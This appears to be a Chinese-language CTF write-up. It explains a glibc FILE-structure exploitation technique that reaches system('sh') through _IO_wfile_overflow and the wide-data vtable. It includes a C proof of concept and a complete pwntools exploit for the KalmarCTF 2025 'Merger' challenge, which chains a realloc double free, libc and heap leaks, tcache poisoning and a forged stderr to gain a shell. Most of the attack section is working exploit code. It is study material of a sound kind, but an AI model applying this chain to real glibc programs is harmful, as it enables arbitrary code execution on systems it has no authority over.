想要让程序执行_IO_wfile_overflow函数需要触发以下调用链
_IO_cleanup函数的作用是清理所有打开的标准I/O流,因此在程序退出时就会调用。
_IO_cleanup函数调用如下所示,实际内部执行的函数为_IO_flush_all
int
_IO_cleanup (void)
{
...
int result = _IO_flush_all ();
...
}
int
_IO_flush_all (void)
{
...
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}
_IO_list_all执行的列表顺序为stderr->stdout->stdin,因此我们可以通过修改stderr->_wide_data与stderr->vtable就可以优先触发利用链,但是依旧需要满足以下限制条件:
-
fp->_mode == 0 -
fp->_IO_write_ptr > fp->_IO_write_base
POC
根据上述条件,总结POC如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct _IO_jump_t {
void *funcs[27]; // 伪占位,不同glibc版本可能不同
};
struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus _IO_2_1_stderr_;
extern const struct _IO_jump_t _IO_wfile_jumps;
long *fake_IO_wide_data;
long *fake_wide_vtable;
long * p;
int main() {
//_IO_wide_data结构大小为0xe8
fake_IO_wide_data = (long *)malloc(0xe8);
//跳转表结构大小为0xe8
fake_wide_vtable = (long *)malloc(0xa8);
//glibc2.39:_IO_wfile_jumps = _IO_file_jumps + 0x1f8
_IO_2_1_stderr_.vtable = (char *)_IO_2_1_stderr_.vtable + 0x1f8;
stderr->_wide_data = fake_IO_wide_data;
stderr->_IO_write_ptr = 1;
stderr->_IO_write_base = 0;
*(long **)((char *)fake_IO_wide_data + 0xe0) = fake_wide_vtable;
*(long **)((char *)fake_wide_vtable + 0x68) = (long *)system;
//0xfbad为魔数,0x0101是为了拼接后续的sh字符串
memcpy((char *)&stderr->_flags,"\x01\x01\xad\xfb;sh",8);
return 0;
}
python脚本
#fake_wide_vtable(0xa8)
payload = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data = heapbase + 0x1670
#fake stderr(0xe0)
fake_stderr = FileStructure(0)
fake_stderr.flags = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data = fake_IO_wide_data
fake_stderr.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
例题
KalmarCTF 2025-Merger
在merge功能中堆块是通过realloc函数对src与dst堆块进行合并,合并完成之后,使用free函数对src堆块进行释放。但是这里存在一个漏洞点,没有限制src与dst堆块的下标,使得src与dst堆块的下标可以设置为同一个值。
realloc函数在重新分配堆块时会出现以下情况:
-
当重新申请的堆块的
size小于当前堆块的size,则realloc会分割当前堆块 -
当重新申请的堆块的
size大于当前堆块的size,则realloc会先free当前堆块,再malloc申请的size
结合merage功能,当以条件二执行realloc函数时会执行free(s)并紧接着执行free(src),因此当s=src时,就会导致double free漏洞。
想要利用上述double free漏洞,则需要满足以下条件:
-
realloc申请的堆块要比合并的堆块大(以条件二方式执行realloc函数) -
double free的堆块size需要小于0x100,否则申请不到(add功能最大只能申请0xff堆块)
漏洞利用流程
-
设置
src与dst的下标为相同值 -
将
malloc(0xf7)的堆块放置在unsortbin中,紧接着src堆块从unsortbin中申请,这样就能够满足double free的堆块size小于0x100 -
若
src堆块从unsortbin中申请,当以条件二方式执行realloc函数时则执行:-
free(src) -
触发
unlink,src堆块合并回unsortbin
-
-
紧接着执行
merge函数的free(src),则src会放在tcachebin中,则构造出uaf漏洞,泄露libc地址 -
后续将
src堆块放进fastbin中,构造double free漏洞,当相应大小的tcachebin被申请完毕后,fastbin中的堆块会被放置在tcachebin中,从而变相构造出Tcache Poisoning -
利用
Tcache Poisoning指向堆块(size大于0xe0,由于io_file结构体需要0xe0大小的空间) -
利用
io_file获得shell
EXP
from pwn import *
sh = process("./merger")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.update(arch='amd64', os='linux', bits=64)
def add(index,size,data):
sh.recvuntil("> ")
sh.sendline("1")
sh.recvuntil("dex: ")
sh.sendline(str(index))
sh.recvuntil("ize: ")
sh.sendline(str(size))
sh.recvuntil("ta: ")
sh.send(data)
def delete(index):
sh.recvuntil("> ")
sh.sendline("2")
sh.recvuntil("dex: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("> ")
sh.sendline("3")
sh.recvuntil("dex: ")
sh.sendline(str(index))
def merge(dst,src):
sh.recvuntil("> ")
sh.sendline("4")
sh.recvuntil("st: ")
sh.sendline(str(dst))
sh.recvuntil("src: ")
sh.sendline(str(src))
for i in range(7):
add(i,0x87,0x87*'a')
for i in range(7):
add(i+7,0xf7,0xf7*'a')
add(14,0x87,0x87*'a')
add(15,0xf7,0xf7*'a')
add(16,0x98,0x98*'a')
for i in range(7):
delete(i+7)
delete(15)
add(14,0x87,0x87*'a')
for i in range(7):
delete(i)
for i in range(7):
add(i,0xf0,0xf0*'a')
#堆块同时释放在unsortbin与tcachebin中
merge(14,14)
sh.recvuntil("a"*0x87,drop=True)
libc_main_arena = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_arena - 0x203b20
log.info("libcbase:"+hex(libcbase))
#修复unsortbin
payload = p64(libc_main_arena)*2
payload = payload.ljust(0xf0,b"a")
#堆块20与堆块21指向同一个堆块,一个从tcachebin中申请,一个从unsortbin中申请
add(20,0xf0,payload)
add(21,0x77,'a'*0x77)
add(22,0x77,'a'*0x77)
for i in range(7):
add(i,0x77,0x77*'a')
for i in range(7):
delete(i)
delete(21)
show(20) #uaf泄露数据
heapbase = u64(sh.recvuntil("\n",drop=True).ljust(8,b"\x00"))<<12
log.info("heapbase:"+hex(heapbase))
#fastbin double free
delete(22)
delete(20)
for i in range(7):
add(i,0x77,0x77*'a')
for i in range(3):
add(i+7,0xf7,0xf7*'a')
for i in range(3):
delete(i+7)
#0x77的堆块大小不足以存储IO_File结构体,因此需要利用Tcache Poisoning指向0x100的堆块
payload = p64((heapbase + 0x1670) ^ (heapbase>>12))
payload = payload.ljust(0x77,b"a")
add(20,0x77,payload)
add(0,0x77,'a'*0x77)
add(0,0x77,'a'*0x77)
#利用Tcache Poisoning指向_IO_2_1_stderr_
payload = p64((libcbase + libc.symbols['_IO_2_1_stderr_']) ^ (heapbase+0x1000>>12))
payload = payload.ljust(0x77,b"a")
add(0,0x77,payload)
#fake_wide_vtable(0xa8)
payload = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data = heapbase + 0x1670
#fake stderr(0xe0)
fake_stderr = FileStructure(0)
fake_stderr.flags = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data = fake_IO_wide_data
fake_stderr.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
print(hex(len(fake_stderr_bytes)))
add(2,0xf0,fake_stderr_bytes+p64(0xfbad2887)+b"\n")
sh.interactive()